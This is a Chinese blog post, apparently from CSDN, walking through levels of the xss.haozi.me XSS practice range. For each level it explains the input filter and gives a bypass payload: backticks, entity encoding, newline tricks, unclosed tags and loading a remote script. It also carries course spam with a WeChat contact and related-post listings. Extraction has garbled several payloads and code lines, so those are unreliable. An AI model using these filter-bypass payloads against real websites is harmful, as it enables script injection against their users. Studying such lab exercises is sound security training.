xss靶场、xss，2024年网络安全开发陷入饱和

最新推荐文章于 2024-05-06 13:42:42 发布
最新推荐文章于 2024-05-06 13:42:42 发布
阅读量932 收藏 13
点赞数 21
分类专栏： 2024年程序员学习 文章标签： xss web安全 前端
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_61549674/article/details/137417726
版权

0x01

使用payload****即可绕过。

源代码使用了 来输出，我们使用闭合标签来闭合它俩，即可成功执行。

源代码加上我们的paylaod即为

ppDZZss.png

0x02

这里使用了标签，思路是通过闭合payload。

asdf’">'

加上闭合payload后，总代码为

function render (input) {
return ‘’‘">’
}

ppDZLT0.png

0x03(使用了正则过滤圆括号)

这里服务器用了一些正则过滤

function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, ‘’)
return input
}

这段函数的作用是从输入的字符串中移除所有括号（包括圆括号和方括号）。具体来说，它会执行以下操作：

​ 定义一个正则表达式 stripBracketsRe，用于匹配字符串中的所有圆括号和方括号。
​ 调用 replace() 方法将输入字符串中匹配到的所有括号用空字符串替换掉，得到一个不包含任何括号的新字符串。
​ 返回新字符串。
需要注意的是，该函数仅仅只是移除括号，并不会对字符串做其他处理，例如去除空格、转换大小写等等。

这里可以采用反引号来绕过

ppDn6OJ.png

其它解法

虽然过滤了圆括号，我们只需要使用不带圆括号的payload即可。

第一种

其中onerror编码了alert(1)

第二种

使用了script中的src来导入js

0x04(使用正则过滤圆括号和反引号)

源代码是这样的，它过滤了圆括号和反引号。

所以只能使用HTML实体编码来绕过。

function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, ‘’)
return input
}

直接将括号转成html实体编码将没有用

比如这段代码

****如果直接输上去肯定不行，因为

HTML实体编码是为了在HTML文本中使用特殊字符而设计的一种编码方式，比如“<”、“>”、“&”等字符。这些字符在HTML中具有特殊含义，如果直接在HTML文本中使用它们，会导致浏览器将其解释为HTML标签或其他特殊字符，从而破坏文档结构。

因此，在HTML中使用这些字符时，需要将其替换为对应的实体编码形式，例如“<”用“<”代替，“>”用“>”代替，“&”用“&”代替。这样，浏览器就能正确地解析这些字符而不会破坏文档结构。

在这个例子中，代码中的括号“(`)”被替换为了实体编码“(”和“)”，这是为了避免浏览器将其解释为JavaScript语句的一部分。当浏览器遇到这段代码时，它会将其解析为一个普通的文本字符串而不会执行其中的JavaScript语句。

所以只能使用一个标签**<img src=1 οnerrοr="alert(1)“**就可以

0x05(绕过html注释符)

服务器源代码是这样的

function render (input) {
input = input.replace(/–>/g, ‘😂’)
return ‘ ’
}

意思就是

根据该函数的实现逻辑，只有输入中包含字符串 “–>” 才会被替换为笑脸表情符号 “😂”。因此，只要输入中不包含 “–>” 这个字符串，就可以绕过这个函数的替换操作，从而可能产生一些安全隐患。

在html中注释符不仅仅只能为** 还可以为<!-- asdf --!>**

所以就可以来尝试闭合了

payload为**–!>img src=x οnerrοr=alert(1)>**即可绕过

ppDKYan.png

0x06（使用换行绕过）

这是服务器过滤代码，

这段代码是一个 JavaScript 函数，名为 render。该函数接受一个字符串参数 input，并返回一个 HTML 的 input 元素。

这个函数的作用是将 input 字符串中出现的 “auto”、“on.*=”、“>” 字符替换为下划线（“_”），并将这个替换后的字符串作为 input 元素的属性，最终生成的 input 元素类型为 text，且默认值为 1。

function render (input) {
input = input.replace(/auto|on.*=|>/ig, ‘_’)
return <input value=1 ${input} type="text">
}

οnmοuseοver=asdf，这样会被过滤掉，被过滤成下划线了，所以如果在=后加上一个换行符即可绕过。

image-20230325160901628

payload即为 **onmouseover

alert(1)**

image-20230325161038378

0x07(img不加闭合符)

服务器源代码如下：

正则表达式 /<\/?[^>]+>/gi 的含义如下：

  1. /<\/?[^>]+>/: 匹配 < 和 > 之间的任意字符，其中 <\/? 匹配 < 或者 </，[^>]+ 匹配一个或多个非 > 的字符，> 匹配 > 字符本身。这个正则表达式匹配 HTML 标签的开始和结束标记。
  2. /g: 表示全局匹配，即匹配到一个后继续匹配，直到没有匹配项。
  3. /i: 表示忽略大小写匹配。

因此，这个正则表达式可以匹配所有的 HTML 标签，包括开始标记和结束标记，例如 <p>、</p>、<img>、</img> 等等。将这个正则表达式传递给 replace() 方法，就可以将匹配到的 HTML 标签替换为空字符串，从而去掉 HTML 标签。

function render (input) {
const stripTagsRe = /</?[^>]+>/gi

input = input.replace(stripTagsRe, ‘’)
return <article>${input}</article>
}

当有**<123>时，就全部会被过滤掉，但是如果<123**就不会被过滤掉。

image-20230325162128236

image-20230325162144811

payload即为：<img src=“123” οnerrοr=“alert(1)”

0x08(使用换行绕过)

服务器源代码如下

正则表达式 /<\/?[^>]+>/gi 的含义如下：

  1. /<\/?[^>]+>/: 匹配 < 和 > 之间的任意字符，其中 <\/? 匹配 < 或者 </，[^>]+ 匹配一个或多个非 > 的字符，> 匹配 > 字符本身。这个正则表达式匹配 HTML 标签的开始和结束标记。
  2. /g: 表示全局匹配，即匹配到一个后继续匹配，直到没有匹配项。
  3. /i: 表示忽略大小写匹配。

因此，这个正则表达式可以匹配所有的 HTML 标签，包括开始标记和结束标记，例如 <p>、</p>、<img>、</img> 等等。将这个正则表达式传递给 replace() 方法，就可以将匹配到的 HTML 标签替换为空字符串，从而去掉 HTML 标签。

function render (src) {
src = src.replace(/</style>/ig, ‘/* \u574F\u4EBA */’)
return `

`
}

使用换行即可进行绕过

</style

}
return ‘Invalid URL’
}

payload如下

https://www.segmentfault.com">//

先将前面的script闭合，然后再使用js代码实现弹框1，然后通过**//**将后面的script给注释掉。

image-20230326114612634

0x0A(URL重定向)

服务器源代码：

这段代码是一个JavaScript函数，它的名称是render。该函数接受一个字符串参数input，并根据该参数返回不同的结果。

函数内部定义了一个嵌套函数escapeHtml，该函数用于将字符串中的特殊字符进行转义，以便在HTML中显示。具体来说，该函数会将字符串中的&、'、"、<、>和/替换为相应的HTML实体编码。

该函数的主要逻辑是检查输入的字符串是否是以https://www.segmentfault.com开头的URL。如果是，函数会将该URL插入到一个<script>标签的src属性中，并返回该标签的HTML字符串表示。如果输入的字符串不是以https://www.segmentfault.com开头的URL，则返回字符串"Invalid URL"。

总之，这段代码的作用是根据输入的字符串生成一个HTML字符串表示，其中如果输入的字符串是符合条件的URL，将生成一个包含该URL的<script>标签。

function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, ‘&’)
.replace(/‘/g, ‘’’)
.replace(/“/g, '”')
.replace(/</g, ‘<’)
.replace(/>/g, ‘>’)
.replace(///g, ‘&#x2f’)
}

const domainRe = /^https?😕/www.segmentfault.com/
if (domainRe.test(input)) {
return <script src="${escapeHtml(input)}"></script>
}
return ‘Invalid URL’
}

这段代码大概就是把很多能注入的关键词都给过滤了。

输入的内容最前面必须加上一段网址和上关一样。

所以使用上一关的闭合符将不管用了。

但是根据这个src看来，可以使用引入一段服务器上js代码。

可以使用@重定向来定向到js代码。在服务器中写入一段js代码，使用@重定向来导入js。

但是我不知道为什么一直不成功，所以根据使用官方给出的js代码，不使用自己服务器中的代码来导入js就可以。

payload:

https://www.segmentfault.com.haozi.me/j.js

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-a1hmJrNg-1679873092880)(C:\Users\陈勇\AppData\Roaming\Typora\typora-user-images\image-20230326160646711.png)]

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。

深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较大，这里只是将部分目录大纲截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且后续会持续更新

如果你觉得这些内容对你有帮助，可以添加VX：vip204888 （备注网络安全获取）
img

写在最后

在结束之际，我想重申的是，学习并非如攀登险峻高峰，而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后，持之以恒的学习变得愈发不易，如同在茫茫大海中独自划舟，稍有松懈便可能被巨浪吞噬。然而，对于我们程序员而言，学习是生存之本，是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习，我们便如同逆水行舟，不进则退，终将被时代的洪流所淘汰。因此，不断汲取新知识，不仅是对自己的提升，更是对自己的一份珍贵投资。让我们不断磨砺自己，与时代共同进步，书写属于我们的辉煌篇章。

需要完整版PDF学习资源私我

一个人可以走的很快，但一群人才能走的更远。如果你从事以下工作或对以下感兴趣，欢迎戳这里加入程序员的圈子，让我们一起学习成长！

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

本，是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习，我们便如同逆水行舟，不进则退，终将被时代的洪流所淘汰。因此，不断汲取新知识，不仅是对自己的提升，更是对自己的一份珍贵投资。让我们不断磨砺自己，与时代共同进步，书写属于我们的辉煌篇章。**

需要完整版PDF学习资源私我

一个人可以走的很快，但一群人才能走的更远。如果你从事以下工作或对以下感兴趣，欢迎戳这里加入程序员的圈子，让我们一起学习成长！

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

美好前端开发者
关注
专栏目录
学习笔记——今天突然迷上了xss2
牟先生的学习博客
07-27 217
XSS Challenges：地址 0x00 <script>alert(1)</script> 0x01 </textarea><script>alert(1)</script> 0x02 "><script>alert(1)</script><img src=" 0x03 括号被过滤，用反引号绕过 <script>alert`1`</script> 0...
【愚公系列】2024年02月 《网络安全应急管理与技术实践》 013-网络安全应急技术与实践（Web层-XSS钓鱼攻击）
热门推荐
时光隧道
02-10 7万+
XSS（跨站脚本）是一种常见的网络攻击技术，攻击者通过在受害者的网页中注入恶意脚本，来获取用户的敏感信息或执行恶意操作。因此，XSS高级钓鱼指的是通过XSS攻击手段来进行钓鱼行为，即通过在网页中注入恶意代码，并伪装成合法的网站或登录页面，从而诱使用户输入敏感信息。
XSS攻击打靶
weixin_53449954的博客
07-06 246
从服务器端得到stripbracketsRe的作用是将指定的符号替换，这里替换的是()，所以正常使用alert（）是不可取的。这道题过滤了script等标签，>等符号也过滤了，但是html语句会对...>进行补齐，再在结尾 通过回车绕过<article>标签。这道题将“转义防止将前面函数闭合，但是输入\进行转义，这样就可以通过”进行闭合，再输入alert，再注释掉后面就好了。这道题对很多符号进行了转义，但是不干涉识别，所以我们只需要将前面的闭合后插入恶意代码再将后面的字符注释掉就可以了。
xss漏洞简单案例
weixin_59280309的博客
07-29 3229
xss漏洞简单案例。svg 命名空间
XSS 之 haozi me 题解——人生第一份CSDN题解
Mr_Fmnwon的博客
08-05 721
XSS 靶场：xss.haozi.me 认真写的第一篇WP，以此总结，以此自勉
使用data伪协议绕过圆括号、反引号被过滤
weixin_39514626的博客
06-12 2142
data协议常用数据格式 不使用编码的方式绕过圆括号过滤 环境是https://xss.haozi.me/#/0x04 ，其中代码过滤了中括号、圆括号、反引号。于是尝试了编码绕过，使用实体编码之后很容易就绕过了。 function render (input) { const stripBracketsRe = /[()`]/g input = input.replace(stripBracketsRe, '') return input } 但是是不是还有其他的方法可以绕过呢，因为在实际测
网络安全 - XSS LABS 靶场源码（Level 14 修复版 + 外链资源优化）
最新发布
08-28
本资源旨在为网络安全爱好者、开发人员及安全测试人员提供一个全面、安全、高效的XSS学习平台。通过实践Level 14修复版中的案例，你将能够更深入地理解XSS攻击的本质，并学会如何在实际应用中构建有效的防御体系。...
WEB渗透学习-XSS-labs靶场
04-20
7. **安全编码实践**：靶场还会提供一些实际的编程案例，让你了解如何在开发过程中安全地处理用户输入，避免引入XSS漏洞。 通过XSS-labs靶场的训练，你可以系统地提升对XSS的理解，熟练掌握攻击和防御技巧。这个...
xss-labs-master.zip（xss注入通关游戏/靶场）
03-21
`xss-labs-master.zip`包含了一个专门用于学习和实践XSS注入的通关游戏或靶场，对于网络安全测试人员来说，这是一个极好的学习资源。 **XSS分类** 1. **存储型XSS**：也称为持久型XSS，攻击者将恶意脚本存入服务器...
2024年最新【XSS漏洞-01】XSS漏洞简介、危害与分类及验证(2)，经典网络安全开发教程
2401_84281594的博客
05-06 1060
DOM型XSS比较特殊。owasp关于DOM型XSS的定义是基于DOM的XSS是一种XSS攻击，其中攻击的payload由于修改受害者浏览器页面的。
xss绕过字符过滤_Xss小游戏通关秘籍
weixin_39758712的博客
12-01 536
原创： Kale 合天智汇原创投稿活动：https://link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s/Nw2VDyvCpPt_GG5YKTQuUQ题记最近发现一个xss的攻防网站，界面很有意思，很适合寓教于乐。于是玩了一下午，特此记录下来！xss姿势众多，所以每关也只是给了一部分示例！知识前导什么是XSS？XSS 或者说跨站脚本是一种 We...
XSS靶场练习 https://xss.haozi.me
Reset
05-07 3514
https://xss.haozi.me 找到输入内容的输出点，确定是在html中还是js中。 0x00 function render (input) { return '<div>' + input + '</div>' } 在标签内且无过滤。 <script>alert(1)</script> ...
Xuzhou Summer Camp 2 DP
Rshs
08-04 290
目录 A - Brackets Sequence B - Dollars C - Longest Match D - Charm Bracelet E - Dollar Dayz F - Piggy-Bank G - Space Elevator H - Coins I - The Fewest Coins J - Tug of War K - Balance L - Di...
XSS挑战平台
The Road Of Sec
01-24 2697
xss练习 项目：https://github.com/haozi/xss-demo 地址：https://xss.haozi.me 自带alert(1)的js地址：https://xss.haozi.me/j.js 题解： 0x00 没有丝毫的过滤措施，且最后的输出位置在标签中，所以很简单，随便甩一个xss payload function render (input) { return '...
xss学习
doraemon12345的博客
05-27 329
学习小结 - 一般做题思路就是闭合题目给出的函数来完成我们的弹窗 - 反引号可以替换圆括号 - <svg>标签中可以直接执行实体字符。 <svg><script>alert&#40;1&#41;</script> - 换行可以绕过正则 - 可以利用onclick，onmouseover等事件进行弹窗如：onclick=alert(1),onmouseover=alert(1) - 可以用换行来绕过“/ /” - <!-- -->和&
xss-demon靶场通关payload
weixin_51339377的博客
04-05 1287
<script>alert(1)</script> 0x00 function render (input) { return '<div>' + input + '</div>' } <script>alert(1)</script> 0x01 function render (input) { return '<textarea>' + input + '&...
使用正则表达式(RegEx)清理HTML标签
weixin_34297704的博客
11-22 295
有些时候，我们处于安全等因素的考虑，是禁止用户提交含有HTML的内容的，但是客户端的验证和限制总归是不可信的。 这时候，我们需要对提交的内容，进行安全处理，去掉所有的HTML标签。 或者，我们需要提取某些混合内容的一部分作为摘要，此时，也需要清理掉HTML标签。   一、 C# 方式 System.Text.RegularExpressions.Regex reg = new Syste...
XSS的Waf绕过及工具使用（附靶场通关记录，持续更新）
m0_51468027的博客
02-01 5450
熟悉常见的waf绕过方法和工具使用，附靶场通关记录
小迪XSS靶场练习笔记
n5xxxx__zy的博客
07-11 3092
项目：https://github.com/haozi/xss-demo 地址：https://xss.haozi.me ## 0x00 function render (input) { return '<div>' + input + '</div>' } 没有丝毫的过滤，且在<div>标签中很简单直接写payload ...
网络安全实战练习靶场：XSS攻击训练平台
资源摘要信息: "XSS靶场的构建与应用" 网络安全领域中的靶场是一个模拟真实攻击场景的实验环境，用于安全人员的实践演练...通过靶场的使用，安全从业者能够更好地应对XSS及其他网络攻击，从而提高整体的网络安全水平。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值